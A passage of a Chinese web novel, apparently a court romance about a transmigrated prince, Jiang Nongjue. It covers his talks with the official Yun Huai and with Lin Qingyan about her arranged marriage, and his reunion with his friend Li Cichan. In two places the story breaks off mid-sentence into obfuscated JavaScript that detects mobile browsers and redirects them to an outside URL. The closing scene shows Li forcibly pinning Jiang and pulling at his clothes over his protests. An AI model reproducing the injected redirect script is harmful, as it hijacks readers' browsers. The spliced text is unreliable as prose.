最新传来新消息,有老卒回忆,神鹰部灭族后一两年,曾偶见身着厚重斗篷、不似军旅亦不像百姓的队伍,往“鹰愁涧”深处活动。江弄玦心中推测——凶手的目标,恐怕就是神鹰部拥有的某种特殊矿产。灭族,是为了灭口和独占。 沿着“矿产”这条线,他和隼九继续往下展开着调查。 此外,他与云淮的会面愈发频繁。他倾囊相授为官之道、朝堂派系,为其未来铺路。 云淮则投桃报李,凭借在户部历练的敏锐与多派人士的斡旋,发现陆家掌控的一条官盐通道,账目上马车往返数量远超边境实际所需消耗。也就是说,这是一条走私的线索。对太子一派来说,也许能成为江醉玉打压陆相的一个把柄。 李辞禅的信每周必至。信中或是絮叨边关风物,或是军中趣事。但更多的,是直白的关切与“宣战”,一般会以“待我回去调教一下你的三脚猫功夫”为结束语。江弄玦的回信则精简许多,报平安,叙近况,叮嘱保重,末尾不忘附上京城新出的点心或伤药。 转眼,年关将至。 舒王府上下在管家的精心安排下,早已换上了应景的喜庆装饰,廊下挂起了红绸灯笼,檐角贴了崭新的桃符,虽不若宫中奢华,却也处处透着新年将至的暖意。 竹子那边早同桃子商量好,又夹带着私心似地,为江弄玦张罗了好些新年衣裳。这日难得休沐,江弄玦一早便被两人拉去试了半晌,直到他们满意才被放行。 “殿下,今日就穿这身出去吧!”桃子眼睛亮晶晶的,又取来一件镶着银狐毛领的月白色鹤氅,殷勤地为他披上,“这一出门,保管是玉树临风,万众瞩目。” 江弄玦眉梢微挑,爱美之心人皆有之,他也不例外。 转头看向镜中,只见内里一身雨过天青色的锦袍,颜色清雅,在冬日的沉闷色调中显得格外醒目。剪裁极为合身,恰到好处地勾勒出他常年习武锻炼出的挺拔身姿,宽肩窄腰,线条利落,外罩的鹤氅更添几分飘逸贵气。 “不愧是桃子。”江弄玦予以肯定。 竹子在一旁满脸崇拜:“不愧是桃子!” “嘿嘿……”桃子不好意思地摸了摸后脑勺。 穿着一身新行头,江弄玦心情颇佳地出门,先去见了云淮。 今日的云淮却有些不同往常,坐在户部值房的书案后,对着账册,目光却有些飘忽,难得显出几分心不在焉。江弄玦看在眼里,难免留意。 “云大人,可是有什么心事?”他温声问道,在云淮对面的椅子上坐下。 云淮闻声回过神来,面上闪过一丝尴尬,带着歉意道:“下官失态,还请殿下恕罪。其实并无什么大事,只是家中……” “啊,不愿的话,不必多言。”江弄玦体贴地示意他不必勉强。 云淮却倏地握紧了放在膝上的手,身体也不由自主地向前倾了少许:“并非不便。只是说来终究是些家宅琐事,反倒叫人羞于启齿。” 江弄玦闻言,指尖无意识地摩挲着腰间那枚江醉玉所赠的龙纹墨玉佩,一边漫不经心地笑道:“既是琐事烦心,说出来或许会舒畅些。作为……朋友,也许我能帮上点小忙?” 云淮连忙惶恐道:“在下怎敢妄称是殿下的朋……” 话未说完,便撞上江弄玦那双含着笑意却带着不容置疑的温和眼眸,他话语一顿,心中那股受宠若惊的情绪里,悄然混入了一丝难以言喻的窃喜与暖意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“殿下,淮并非不知好歹。此乃旁人求之不得的青云梯。只是……除却生母,淮唯将姨娘一人当做母亲。十余年含辛茹苦,护我与小妹周全,如今要我当着她的面,唤旁人‘母亲’,将她半生心血与名分尽数抹去。淮、淮实难……” 话至此,已是哽住,再也说不下去。 江弄玦静静听着,心中了然。 果然如此。 “不愿叫陌生人一句‘爹娘’……” 江弄玦轻声道。他指尖那枚冰凉的墨玉佩停止了转动。 “是。” 云淮深深望他一眼,闭上眼,深吸一口气,再睁开时,已努力恢复了平静,只是眼框周边的微红仍未消散。 “让殿下见笑了。此等家事琐碎,本不该烦扰殿下。” “无妨。”江弄玦站起身,走到窗边,望着窗外庭院中覆雪的枯枝,“此事,你心中可有了决断?” 云淮声音透着疲惫与迷茫:“淮不知。于理,此乃光耀门楣、扶摇直上之机,更可让姨娘与小妹日后生活更有倚仗。于情,淮心如刀绞。” 江弄玦转过身,目光落在他清俊却写满挣扎的脸上。 “云淮。”他唤了他的名字,语气平稳而有力,“你如今在户部,凭的是谁举荐?站稳脚跟,凭的又是何人?” 云淮一怔,答道:“自是殿下引荐之恩,与、与自身些许微末之能。” “既如此,”江弄玦走回案前,指尖敲了敲桌面,“你便该明白,你的‘路’,从不是我,亦非云家所赐。是你自己一步步走出来的。” 他微微俯身,目光直视云淮:“过继之事,利弊分明。但我只问你一句——” “剥去云文柏之子这层华服,你云淮,是否仍有自信,凭手中之笔、胸中之才,在这朝堂之上,为自己、为姨娘、为小妹,挣出一片天地?” 话音落,值房内一片寂静。 窗外寒风掠过,吹得窗纸簌簌轻响。 云淮的神情落在江弄玦的眼中—— 最初的犹疑与挣扎逐渐消失,露出其下的震惊。随即,那震惊被一股更深沉的力量压下,化为一片逐渐澄澈的沉静,最终,凝聚成一种笃定。 他深吸一口气,原本紧抠着袖口的手指缓缓松开,背脊挺直了几分,望向江弄玦的目光里,感激与决心交织: “殿下点拨,如醍醐灌顶。淮知道该怎么做了。” 江弄玦见状,眼中笑意真切了几分,摆了摆手:“若能解你一桩心事,便是好事。来吧,今日要看的账册公文,可还多着呢……” 谈完这桩私事,又处理了片刻公务,江弄玦便起身,打算照原计划去城外的善堂粥棚巡视一番。 云淮恭敬地将他送至值房门口,目送那道披着银狐鹤氅的挺拔身影从容远去,融入廊下光影之中。 直到那身影消失在转角,他才几不可闻地动了动唇,无声地吐出两个字: “殿下……” 18.本王想做点什么 江弄玦的马车行至临近城门的主街,却见前方人头攒动,喧哗鼎沸,车马拥堵,竟是寸步难行。 车夫前去探查,片刻后回来禀报:“殿下,前头似是有商贩与人起了争执,堵住了大道。” 江弄玦挑开车窗帘一道细缝,向外望去。目光扫过那辆被堵在核心的马车时,倏然定住—— 车厢一角,赫然镌刻着熟悉的家族徽记。 他心头一跳,立刻凝神看向争执中心。 只见一方以一名头戴帷帽的女子为首,身旁站着一位身着蓝衣的少女,周围环着数名神色警惕的护卫。另一方则是几名神情激动、唾沫横飞的商贩与数名孔武有力的打手,双方正剑拔弩张地对峙着,围观百姓议论纷纷。 江弄玦:“……乖乖。” 不会是她吧? 他不再犹豫,当即推开车门下车。银狐鹤氅在冬日阳光下流光一闪,所过之处,认出“舒王”车驾与容貌的百姓不由发出低低惊呼,人群下意识分开一条通道。 江弄玦拨开最后几人,踏入圈内,争执的内容清晰地传入耳中: “呸!官家小姐就了不起了?就能断了咱们小老百姓的生路?我告诉你,就算是天王老子来了,也得讲理!” 那为首的商贩满面油光,言辞粗鄙,越说越不堪入耳。 “长得人模人样,心肠这般狠毒,我看你们这官家小姐,也配?” 那年纪稍小的少女气得满脸通红,若非被身前的女子牢牢按住手腕,几乎要冲上前去:“你胡说八道!污言秽语羞辱我就罢了,再敢对这位小姐不敬,我撕了你的嘴!” “这位妹妹,”她身前那戴帷帽的女子终于开口,声音透过轻纱传来,依旧平静清越,却自有一股不容置疑的威仪,“不必多费口舌。” 她微微抬眸,目光透过纱帘,落在那气焰嚣张的商贩脸上。 “你想要什么?” “这位小姐,”那商贩见她气度不凡,心下虽忌惮,却依旧嚷道,“谅你不知前因后果,我也懒得说你多管闲事!我的要求很简单——” 他猛地指向那蓝衣少女:“这姑娘,拿我的货低价倒卖,坏了行市,让我这边损失不小!从今往后,她不准再碰这条线上的买卖!还有,之前她多赚的那些黑心钱,必须连本带利还回来!” 蓝衣少女气得浑身发抖:“你信口雌黄!我何曾倒卖你的货?我那是帮善堂采购米粮,寻的是正经渠道,价格公道,何来黑心钱一说?你这是看我一个弱女子好欺负,凭空诬赖,勒索钱财!” “呵!说得倒好听!”商贩嗤笑一声,环视四周,语气煽动,“大家瞧瞧,官家小姐出来‘行善’,却断了我们这些小本买卖人的活路!如今还不认账?好,好得很!那你今日就别想走,咱们就耗在这里,让全城百姓都评评理!” “你无耻!”蓝衣少女又急又怒,眼看就要冲上去理论。 帷帽女子抬手,再次止住了她。 她甚至没有多看那商贩一眼,目光却极快地扫过商贩身后那几个身形壮硕、面露凶光的打手,以及周围几个眼神闪烁的摊贩,心中已然明了。 这绝非简单的买卖纠纷,而是有预谋的勒索与恐吓。 “既如此,”她声音依旧平稳,“此事僵持无益,于这位姑娘名声有损,于老板你的生意也未必有利。不如……” 她略一沉吟,随即说出了一个看似折中的方案: “这位姑娘既是帮善堂办事,采购账目想必清晰可查。老板既声称有损失,便请拿出凭证。是何时、何地、以何价、售予她何种货物?数量几何?市价又是多少?两相对照,自有公断。” “若真是姑娘行事有差,该赔的自然要赔,该道的歉也绝不会少。可若是有人无凭无据,只想借着人多势众、讹诈钱财……” 她微微一顿,帷帽下的目光有如实质,刺向那商贩:“天子脚下,朗朗乾坤,自然容不得这般行径。届时,恐怕就不只是‘评理’这般简单了。” 话音落下,周围原本看热闹的百姓也渐渐回过味来,看向那商贩的眼神带上了几分怀疑与谴责。几个打手见势不妙,气势也弱了三分。 江弄玦隐在人群后,听着那条理分明的应对,嘴角微不可察地向上弯了弯。 果然是她。 有她在,这事根本轮不到旁人操心。 他好整以暇地拢了拢鹤氅,继续作壁上观,眼中带着欣赏与一丝玩味。 那商贩身为挑事的头目,眼力自然不差,看出这半路杀出的帷帽女子气度不凡,绝非寻常官家小姐,只怕来头不小。眼见煽动不了周围民心,反而惹来怀疑目光,心知今日这“买卖”是做不成了,语气顿时软了下来。 “咳,这位小姐说得在理。或许是我们这边账目一时不清,出了些误会。既然这位善堂的姑娘也能拿出凭证,那、那这损失,我们便自己认了,不再追究。” 他似乎还想找回点面子,转向蓝衣少女,板着脸硬邦邦道:“只是,希望姑娘日后行事更谨慎些,莫要再给人留下话柄,平白惹出这等误会!” 蓝衣少女心下憋着的气总算出了大半,闻言嗤笑一声,伶牙俐齿地回敬:“若老板您自家账目清晰,自然不会再出这等‘误会’了吧?毕竟,清者自清。” 江弄玦在人群后险些笑出声:小妹妹,你骂人好爽哦。 商贩被噎得满脸铁青,却又发作不得,只得狠狠瞪了少女一眼,带着一众同伙,在百姓的指指点点中悻悻离去。 热闹看完,围观人群也渐渐散去。 蓝衣少女直到此刻,紧绷的心弦才彻底松了下来,一阵后怕涌上心头。她定了定神,转向身旁始终从容镇定的帷帽女子,郑重地行了一礼: “今日多谢小姐仗义执言,出手相助。这份恩情,挽茜铭记于心,没齿难忘。” 那女子隔着轻纱,似乎轻轻笑了一下,声音温和:“举手之劳,不必客气。” 她顿了顿,又道:“我认得你。常在善堂见你忙前忙后,心地赤诚,做事也利落。故而方才一听,便知此事多半是对方蓄意寻衅。” 云挽茜恍然,随即有些不好意思地摸了摸后脑勺:“原来小姐也常去善堂……啊,莫非您也是善堂的资助人?” 女子微微摇头,正欲开口,却被一道清越含笑的男声悠然打断—— “她何止是资助人,怕是善堂背后那位最大的无名菩萨呢。” 二人循声望去,只见一位身着华贵鹤氅、眉目俊朗、气度不凡的年轻男子,正唇角噙笑,施施然踱步而来。冬日稀薄的阳光落在他身上,衬得那身雨过天青的锦袍与银狐毛领愈发夺目。 云挽茜看得微微一怔,随即敏锐地注意到,身旁女子带来的护卫对此人的靠近并无阻拦之意,反而微微垂首。她心下立刻明了,这两位是相识的。 果然,只听身旁的女子“咦”了一声,随即帷帽下传来一声带着熟稔笑意的轻哼:“我当是谁。舒王殿下今日好雅兴,竟不去西市听曲投壶,反倒来这城门口看起热闹了?” 云挽茜闻言一惊,连忙屈膝行礼:“民女云挽茜,参见舒王殿下!” 江弄玦摆了摆手:“不必多礼。” 随即他转向那帷帽女子,夸张地叹了口气:“林姐姐,林知尘那厮整日挤兑我也就罢了,怎么连你也这般打趣我?” 这时,那女子终于抬手,纤指轻轻撩开了面前的薄纱。 一张清丽绝伦的芙蓉美人面随之显露,眉眼如画,气质娴雅沉静,此刻正含着促狭的笑意望来,正是吏部尚书之女、未来的太子妃——林倾颜。 她眨了眨眼睛,对江弄玦道:“谁叫你方才只躲在人后看戏,不来帮帮我呢?” 说着,又含笑看向一旁看呆了的云挽茜,语气亲昵:“是吧,妹妹?这舒王殿下,最是会看人热闹了。” 云挽茜顿时憋红了脸,手足无措:“……民、民女……” 舒王江弄玦! 这可是近日京城传闻中那位平定北疆、新晋受封的正主! 而这位美得如神仙妃子、气度从容的“林姐姐”,能与舒王如此熟稔玩笑,身份定然也贵不可言。 在这两位光芒耀眼的贵人面前,云挽茜只觉大脑嗡嗡作响,平日里的机灵劲儿飞了大半,生怕自己言行有失,说错半个字。 江弄玦见她这般模样,眼中笑意更深,温声道:“说来也巧,姑娘姓云?我倒也认识一位姓云的朋友,正在朝中任职,亦是年少有为。看来我与云姓,颇有缘分。” 云挽茜一听,心头更是猛地一跳,脸颊烫得几乎要冒烟。 她岂会不知兄长云淮多得舒王殿下提携?更别提,眼前这位舒王殿下,可是常年高居《青玉案》前三甲的风云人物!如此近距离相对,只觉其人比传闻中更显俊逸倜傥,那含笑的目光望过来,简直让人呼吸都要停滞。 “……哈、哈哈哈,殿下说的是,真、真是有缘!”她干巴巴地应和,声音都紧张得变了调。 江弄玦被她这过度紧张的反应逗得轻笑出声。但他没忘正事,敛了敛神色,对二人道:“热闹看完了,我还需去城外善堂看看年节下的准备。二位……?” 林倾颜眉眼弯弯,接口道:“巧了,我正也要过去瞧瞧。” 云挽茜弱弱地举了下手,声音细如蚊蚋:“民、民女也正要回善堂那边帮忙……” “既如此,”江弄玦含笑颔首,姿态自然而洒落,“便一同走吧。” 林倾颜自然地从善如流,轻轻拉住还有些发懵的云挽茜:“云妹妹,与我同车可好?” 江弄玦点头称善。 三人抵达城外善堂后,云挽茜实在顶不住与这两尊“大神”共处的无形压力,寻了个由头,便如释重负地跑去粥棚那头帮忙了,背影都透着几分轻快。 江弄玦与林倾颜则一同去见了善堂的管事,处理了几桩年节下的物资调配、账目核对等实务。林倾颜问得细致,批得果断,俨然是常主事者的风范。 诸事议定,二人被引至善堂后院一间清净的茶室稍作歇息。 从茶室的轩窗望去,正好能将下方粥棚的热闹景象尽收眼底。领粥的队伍井然有序,热气蒸腾,人声虽杂,却透着一股踏实的人间烟火气。 江弄玦执壶,斟了两杯清茶,将其中一杯轻轻推至林倾颜面前:“一直未曾寻得合适机会,亲自向你道谢。早听知尘兄说,你也会亲自打理这边琐事,劳烦你费心至此了。” 林倾颜接过茶盏,浅啜一口,氤氲水汽柔和了她清丽的眉眼:“这么些年的交情,说‘谢’字便生分了。善堂能助人,我便觉得值得。” “近来……很忙吧?”江弄玦声音沉静,目光小心地掠过她沉静的面容,“听闻东宫与林府,都为婚事筹备了许久。”他顿了顿,“毕竟,婚期就在明年开春了。” 林倾颜闻言,轻轻笑了笑,笑意却未达眼底:“是啊。过了年,便是正月,算来也就三个月后的事了。” “这样也好,”她垂眸,看着杯中舒展的茶叶,唇边那缕弧度显得有些飘忽,“省得父亲母亲总为我担心。女子十八岁还未出阁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517771|203193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就是顶着‘太子妃’的名头,若换了旁人,早不知要被多少闲言碎语淹没了。” 江弄玦沉默了片刻,胸口堵着什么,最终只化作一声无声的叹息。 他知道,林倾颜对这门婚事,谈不上厌恶,却也绝无期待。 于帝后,这是稳固朝局、拉拢清流的重棋。 于东宫,这是获取林家全力支持的关键。 于林家,这是门楣光耀、世代荣华的保障。 所有人都觉得合情合理,圆满之至。 唯有婚事中心的两位当事人的心意,在大局面前显得无足轻重。 “还没说你呢,”她忽然话锋一转,抬眼睨他,“我就大了你一岁,偏生总‘姐姐’、‘姐姐’地叫,听着怪烦人的。” “而且,别摆出那副样子,”她眉梢微挑,“倒像是我受了天大的委屈,要你来可怜似的。江弄玦,我林倾颜还没到需要旁人替我惋惜的地步。” 江弄玦侧目看她,窗外的天光勾勒着她秀美却坚毅的侧脸轮廓。 时光匆匆,他恍惚觉得,第一次在东宫见到那个聪敏沉静、目光里藏着不甘人后的光芒的少女,仿佛还是昨日之事。 这些年相伴成长,他太了解林倾颜是个怎样的人了。 胸有丘壑,行事果决,更有不输男儿的抱负。所以他当年才那般理解林知尘保护妹妹的心情,如今也才会为自己无力改变她的命运而感到如此深刻的惋惜。 太傅酒后感叹过,若在前朝女官制度犹存之时,以林倾颜之才,定能成为一代名臣,青史留名。 然而本朝自开国以来,因太祖朝某桩涉及后宫干政的旧案,女官之制日渐式微。如今朝野之中,除却些掌管文书典籍、礼仪祭祀的虚职,已再无掌握实权的女官了。 入朝为官,匡扶社稷,甚至有朝一日能重振女官一脉,为天下有才女子开一道门。 这曾是林倾颜深埋心底、未曾宣之于口的梦想。 她有才智,有家世,有眼光,更有付诸实践的胆魄与毅力。这个梦想于她,并非遥不可及。 然而,命运弄人。在所有贵女之中,最具此等野心与能力的林倾颜,偏偏被选中,成为了那个必须被束缚于宫墙之内、将要母仪天下的太子妃。 她门下暗中招揽、精心培养的那些有志于经世济民的门客与幕僚,失去了他们原本期待追随的主子,最终只能转化为林氏家族的政治资源,回馈于整个林家,而非她林倾颜个人的理想。 “咔嚓。” 极轻微的瓷器摩擦声。 江弄玦指节无意识地收紧,几乎要将手中的茶盏捏碎。 “不管如何,”他声音低哑,带着一种近乎固执的坚信,“你这些年所做的一切,你积累的学识,你培养的人脉,你暗中推动的善政……这些努力绝不会白费。在未来,一定会有……” “弄玦。” 林倾颜轻声打断了他,带着一种温柔的制止。 江弄玦话语一顿,抬眼对上她的目光。那双总是沉静慧黠的眸子里,此刻清晰地映出一种平静的悲伤,以及洞悉一切的了然。 “身为太子妃,”她缓缓道,“哪怕出于公心,有时也会被视作林家,乃至我个人的野心。” “所以,我不可以去做,也不可以去想。” 她顿了顿,目光转向窗外粥棚中忙碌的云挽茜,那个机敏勇敢、试图用自己的方式行善济人的少女,眼神变得柔和而深远。 “之前你问过哥哥,为什么我想帮善堂的事,我没同他说。现在我可以亲口告诉你……” “或许,正是因为‘我不可以’,当我看到像云妹妹那样聪明、有胆识的女孩时,才会忍不住想,也许她们能看到更广阔的天空,走一条我不曾有机会走的路。便总想着,能帮一把,就帮一把。” 她收回目光,重新看向江弄玦,眼底那抹悲伤已被一种更坚定的神色取代。 “所以,江弄玦,如果你真的为我感到可惜,为我意难平的话——” 她微微一笑,那笑容清澈而明亮:“就请你,尽可能地,去帮助那样的孩子吧。” 江弄玦握紧了拳头,喉头酸涩。 不知为何,他几乎心头一颤般,精神也为之一振。 几曾何时,好像,他曾经也听过这样的话。 从另一个时空、从自己的妹妹口中。 ——老哥,你那么牛逼,记得多帮帮那些有梦想又没机会的弟弟妹妹啊! ——我也想亲手帮啦,但是我已经没那个机会啦…… 记忆的碎片带着遥远而温暖的刺痛席卷而来。江弄玦下意识地抬手,捂住了骤然发紧的胸口,强行将那些翻涌的、属于前世的悲伤与怀念压回心底深处。再抬眼时,眸中只剩下一片沉静如水的坚定。 他望着林倾颜,郑重地颔首,沉声应道: “好。” 林倾颜看着他瞬间变幻又最终归于沉寂的神情,似乎想说什么,目光却扫过茶室雅致的梁柱与紧闭的门扉,最终,只是转而用寻常的语气,轻声道: “现在,东宫那边,想必也有‘耳朵’,会听着这里的事吧。” 江弄玦闻言,神色未变,只微微颔首,目光也随之转向窗外喧嚣的粥棚。 林倾颜见他了然的神情,方才那一瞬间几乎要脱口而出的话,便彻底咽了回去。眼底那丝欲言又止,最终化为一声悠长的叹息,消散在温热的茶香里。 茶室内一时寂静,唯有窗外依稀传来善堂忙碌的声响,与粥棚升腾的人间烟火气。 19.本王…男主……啊啊 转眼,便到了除夕前夜。 李辞禅的兄长李持衡,于府中设下小宴,邀请了几位相熟的武官子弟,江弄玦亦在受邀之列。 席间多是行伍之人,虽说江弄玦如今在京中纨绔的名声传得沸沸扬扬,但他那一身北疆磨砺出的真功夫,以及当年与李辞禅形影不离、并肩切磋的情谊,在座诸位都还记忆犹新,对他倒比旁人更多几分实实在在的敬重。 酒过三巡,气氛愈加热络。江弄玦微醺,推拒了几位兴致高昂的将军,寻了个由头,暂离了喧闹的席间,想去廊下透透气,散散酒劲。 在李辞禅尚未远赴西北的那些日子,他没少来李府,府中路径早已熟稔于心。他摆手谢绝了要上前引路的仆役,独自一人,踩着廊下清扫过的石板路,踱步向府邸深处走去。 不知不觉间,细密的雪籽悄然洒落,渐渐转为轻柔的雪花,在庭院灯笼晕开的光晕里无声飞舞。待江弄玦回过神来,自己已停在一处熟悉的院落前。 是李辞禅的院子。 小院被打理得干净整洁,一如主人在时。院中那几株李辞禅最钟爱的红梅,已在风雪中含苞待放,几点艳红倔强地探出墙头。木廊旁,那个熟悉的兵器架上,静静倚着李辞禅最趁手的几把长枪与佩刀,刃口在雪光与灯影下泛着幽冷的寒芒,仿佛主人只是暂时离开,随时会回来取用。 江弄玦立在门外风雪中,隔着大氅兜帽边缘的银狐毛,目光越过院墙,落在了木廊檐下某个不起眼的角落。那里,似乎还留着他某次与李辞禅比试后,随手刻下的、某个幼稚的涂鸦。 寒风卷着雪片扑在脸上,带着刺骨的冷意。 或许是酒意未散,又或许是这旧地重游的景象太过熟悉,轻易便撬开了记忆的闸门。江弄玦只觉得心口像是被什么东西沉沉地堵住了,呼吸都有些滞涩。 自李辞禅表白后,他便再没踏足过这里。他当时近乎狼狈地逃开,幼稚地想着,只要少见一些,疏远一些,时间久了,李辞禅或许就会明白,那只是少年人一时冲动,将友情的独占欲错认成了爱情。 后来,他们只在宫宴或公开场合匆匆见过两三面,气氛尴尬而克制。再之后不久,李辞禅便主动请缨,远赴西北边关。 如今站在这里,隔着风雪与时光回望,江弄玦心中涌起迟来的、深切的后悔与自责。 不该那样做的。 不该用那样生硬的方式推开他,不该连一个好好说开的机会都不给,更不该在对方最需要确认的时候,选择逃避。 他这些年一直不敢细想那段过往,就是怕忆起李辞禅最后看他的那个眼神——倔强、却又带着被拒绝后毫不掩饰的伤痛与茫然。 江弄玦怕自己会忍不住心软,怕再做出什么让对方再生误会的事。 可避而不见,假装遗忘,心口那块被生生剜去的地方,却始终空落落的,透着风雪也填不满的寒意。 雪花无声地落在他肩头,覆上他微湿的眼睫。 不知不觉间,雪已落了满地。小小的院落,连同伫立在月洞门外的他,皆披上了一层素白银装。 他吸了一下鼻子,捏了捏冻得发红的鼻尖,正欲转身离去,却忽然听到身后传来一声低唤—— “……江弄玦。” 那声音低沉,裹挟着粗粝的质感,穿透簌簌落雪声,直直撞入耳膜。 江弄玦浑身骤然一僵,大脑一片空白,唯有身体遵从着本能,僵硬地、缓缓地转了过去。 目光穿过飞舞的雪幕,落在了来人身上。 那人就站在回廊转折的阴影与檐下灯笼暖光交织的明暗交界处。 一身玄色紧身骑装,勾勒出宽肩窄腰的挺拔轮廓,风尘仆仆。低束的墨发与肩头已然落了一层薄雪,愈发衬得他肤色是久经沙场磨砺出的麦色。那张脸褪去了少年时最后的圆润,棱角分明,下颌线清晰利落。那双标志而明亮的杏眼,如今沉淀了沙场淬炼出的锐利与沉静,却奇异地在眼角眉梢,依稀残留着几分属于旧日少年的精致轮廓。 李辞禅。 是李辞禅。 “江弄玦。” 他又唤了一声,声线低哑,带着长途跋涉后的淡淡疲惫,与记忆里那个总是清亮张扬、带着点蛮横腔调的少年嗓音截然不同,有了属于成年男子的深沉。 江弄玦眨了眨眼,长睫上的雪屑簌簌落下。 他几乎是下意识地,轻轻应了一声: “……嗯。” 久别重逢。 直到这一刻,迟滞的神经才缓缓反应过来,种种情绪轰然炸开—— 得知他平安归来的、后知后觉的巨大欣喜与安心。 猛然忆起那场未曾妥善回应、甚至刻意回避的表白所带来的、挥之不去的尴尬与畏缩。 以及,像个小偷般在不为人知的雪夜,擅自闯入对方故地、沉浸于陈旧回忆却被当场撞破的心虚…… 李辞禅迈开了步子。 他踏着松软的新雪,一步步走来。玄色软甲随着步伐发出极轻微的、金属与皮革摩擦的窸窣声响,在寂静的雪夜里清晰可闻。那脚步声沉稳,带着一种无形的压迫感,最终停在了江弄玦身前,不过咫尺之遥。 如此近的距离,江弄玦才真切地意识到——对方竟已比自己高了近一个头。需要微微仰首,才能对上他的目光。 不知为何,看着这张褪去青涩,轮廓硬朗却又无比熟悉的脸,江弄玦喉头一哽,竟在百感交集中,突兀地“噗嗤”一声笑了出来。 “你长得……比我高多了啊。” 他听见自己带着笑意的、有些发颤的声音说。 话一出口,江弄玦就想立刻咬掉自己的舌头。 神经病吧。是s那个b吗? 久别重逢的第一句,居然是抱怨人家长得比你高?! 李辞禅没有说话,只是垂下了眼眸。 那双眸子在檐下灯光的映照下,深邃得惊人。他的目光如同有了实质的笔触,一寸一寸地描摹过江弄玦的眉眼、鼻梁、嘴唇,最后落在他冻得发红的鼻尖和微微颤抖的、沾着雪粒的长睫上。 他抬起手,轻轻掸去江弄玦肩头与发顶的积雪,手指的动作在触及江弄玦耳边时略有停顿。 “北疆的事,”他开口,声音压得很低,“你信里只写了三行。” 江弄玦张了张嘴,想解释那是怕他担心。 李辞禅却往前踏了半步,瞬间拉近的距离让江弄玦能清晰看到他眼中翻涌的血丝和深藏的疲惫。 “江、弄、玦,”他连名带姓地叫,每个字都咬得很重,“我要是没派那队人去……” 他的话戛然而止,下颚线绷得死紧。 突然,李辞禅猛地别开脸,深吸了一口冰凉的空气,再转回来时,眼底只剩下深不见底的黑。 “……先进屋。”他最终只是哑声道,不容置疑地侧过身,为江弄玦让出去往他房间的路,“你冻僵了。” 江弄玦咽了咽口水,顺从地跟在他高大的身影后,目光落在他宽阔却绷紧的肩背上。 心中的忐忑越来越重,眼前的李辞禅,陌生得让他有些无措,仿佛那个记忆中恣意张扬的少年换了一个人。 屋里虽然也冷,炭盆未燃,但总算隔绝了呼啸的风雪。 江弄玦反手关上门,将严寒与窥探一并隔绝在外。刚回过身,便见李辞禅已随手卸下了沾着雪屑的玄色外甲,只着一身利落的深色劲装,沉默地站在屋子中央,挡住了大半光线,身影在昏暗室内显得更具压迫感。 “李辞禅,我……”江弄玦试图开口,想说些什么来打破这令人窒息的寂静。 解释北疆,解释疏远,解释此刻的狼狈。 “不要再那样了。”李辞禅却直接打断了他。 他只是盯着江弄玦,目光如同实质,穿透了昏暗的空气,“不要再拿自己的命去赌,不要再在信里……只写三行,甚至留什么遗书。” 江弄玦喉头滚动,一股强烈的酸涩毫无预兆地冲上鼻尖,眼眶瞬间发热。 他狼狈地垂下眼,掩饰住瞬间的失态,却控制不住声音里的微哽:“……嗯。你也是。西北也很危险啊,当时偏要去,谁拦你都没用……” 话未说完,身前的阴影骤然放大。 李辞禅一步上前,毫无预兆地张开手臂,将江弄玦紧紧、紧紧地拥入怀中。力道之大,毫无收敛,勒得江弄玦的肋骨和胳膊都隐隐作痛,像是要将他整个人揉进骨血里。 江弄玦猝不及防,那点刚刚涌起的感动和酸楚还未散去,便被这过于凶猛的拥抱惊得大脑一片空白,连呼吸都滞住了。 穿越至今,从未有人这样抱过他。 松松松!!拥抱是这个力度吗?有点太过头了啊喂! 他僵硬着,手都不知道该往哪里放。 李辞禅却似乎还嫌不够,将脸深深埋进他的颈窝,滚烫的额头紧贴着他冰凉的皮肤,灼热的呼吸毫无遮挡地喷吐在江弄玦敏感的耳后和脖颈上,激起一阵阵难以抑制的战栗。 那声音闷在他颈间,带着毫不掩饰的依恋与疲惫:“你这样说的话……我都不想走了。” 江弄玦浑身一僵,紧接着,一股强烈的酥麻感从脖颈和耳后猛地炸开,瞬间蔓延至四肢百骸。他腿脚一软,差点没站稳,所有的力气都像是被这个拥抱和耳边的话语抽走了。 “好、好了好了!”江弄玦的声音都变了调,带着自己都未察觉的慌乱与无力。 他不得不反手抓住李辞禅结实的手臂,以此支撑自己发软的身体,另一只手有气无力地拍了拍对方的后背。 “别、别这么说话……我没劲儿了……” 他感觉自己的耳朵肯定红透了,连带着脖子都在发烫。 李辞禅抬起头来,看了一眼江弄玦,眼中闪过江弄玦未能察觉的了然。 他抬手,带着薄茧的指腹状似无意地擦过江弄玦滚烫的耳廓,将那缕因挣扎而散落的发丝轻轻拢到他耳后。动作看似温柔,却带着不容拒绝的力道。江弄玦被他触碰的地方仿佛过电般,不受控制地轻颤了一下。 李辞禅将他的反应尽收眼底,唇角勾起一抹极浅、却极具侵略性的弧度,低声道:“好啊。” 话音未落的下一秒,江弄玦只觉得腰间一紧,天旋地转间,后背便重重抵上了冰凉坚硬的墙壁!李辞禅高大的身躯随即压上,两人之间刚刚拉开的距离瞬间化为乌有,取而代之的是一种危险的紧贴。 “既然你没劲儿了,”李辞禅的视线沉沉落下,锁住他惊惶的眼眸,语气带着一种不容置疑的关切与强势的古怪意味,“那我来看看,你有没有在北疆,留下什么伤疤。” 哈——?啊?这他妈是?? 江弄玦瞳孔地震:“李辞禅!你想干什……!” 话音未落,一只仍带着寒气的手便已强势地探入他的衣襟,精准地按在了他腰侧的系带上,力道极大,近乎撕扯地开始解他的外袍! “放手!”江弄玦又惊又怒,酒意未散,却也被这突如其来的侵犯激得清醒了大半。 他奋力挣扎,手肘顶向对方胸口,却被李辞禅轻易格开,反被更紧地按在墙上。 江弄玦喘息着低吼:“艹!有什么可看的!你他妈发什么疯!” 